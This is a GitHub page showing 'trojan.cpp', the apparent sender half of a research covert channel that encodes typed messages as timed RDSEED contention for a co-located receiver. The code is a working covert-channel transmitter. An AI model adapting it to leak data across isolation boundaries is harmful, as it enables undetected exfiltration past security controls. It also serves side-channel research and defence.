-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtrojan.cpp
116 lines (97 loc) · 2.38 KB
/
trojan.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include "libdd_trojan.hpp"
#define INIT_CONTENTION 200000L
#define PRE_SENDING_CONT 10
#define MAX_LEN 32 // Max length of message that can be sent
#define HALF_PERIOD 680000L
#define RDSEED_SPAM 8
unsigned long long t;
unsigned long long imp_t[10];
inline int rdseed(uint64_t *seed) {
unsigned char ok;
asm volatile ("rdseed %0; setc %1": "=r" (*seed), "=qm" (ok));
return (int)ok;
}
inline void hi() {
uint64_t u64;
unsigned long long init = __rdtsc();
while (__rdtsc() - init < HALF_PERIOD) {
for (int i = 0; i < RDSEED_SPAM; i++) {
rdseed(&u64);
}
}
}
inline void lo() {
unsigned long long init = __rdtsc();
while (__rdtsc() - init < HALF_PERIOD) {
// spin
}
}
// Initialize communication by creating contention
void init_channel() {
uint64_t u64;
unsigned long long init = __rdtsc();
t = init;
while (__rdtsc() - init < INIT_CONTENTION) {
for (int i = 0; i < RDSEED_SPAM; i++) {
rdseed(&u64);
}
}
}
// Callback for send
int dd_send(const uint8_t* packet, size_t size) {
bool* data = (bool*) malloc(size * sizeof(bool));
bool bit;
bool temp;
int idx = 0;
int flag = false;
if (size == CHUNK_LEN + CHUNK_ID_LEN) {
for (int i = 0; i < 16; i++) {
if (i > 1 && i < 8) continue;
bit = (packet[i / 8] >> (i % 8)) & 1;
data[idx] = bit;
idx++;
}
temp = data[0];
data[0] = data[1];
data[1] = temp;
} else {
flag = true;
data[0] = 1;
for (int i = 0; i < size-1; i++) {
bit = (packet[i / 8] >> (i % 8)) & 1;
data[i+1] = bit;
}
}
// before sending a packet
lo();
hi();
// start sending the data
for (int i = 0; i < size; i++) {
if(data[i]) {
hi();
lo();
} else {
lo();
hi();
}
}
free(data);
data = NULL;
return EXIT_SUCCESS;
}
// Callback for recv
int dd_recv(uint8_t* packet, size_t *size, bool fitf) {
return EXIT_SUCCESS;
}
int main() {
trojan_sess_t sess;
char input[MAX_LEN];
printf("Please type a message\n");
init_trojan(&sess, &dd_recv, &dd_send);
while (true) {
fgets(input, MAX_LEN, stdin);
init_channel();
send_msg(&sess, input);
}
return EXIT_SUCCESS;
}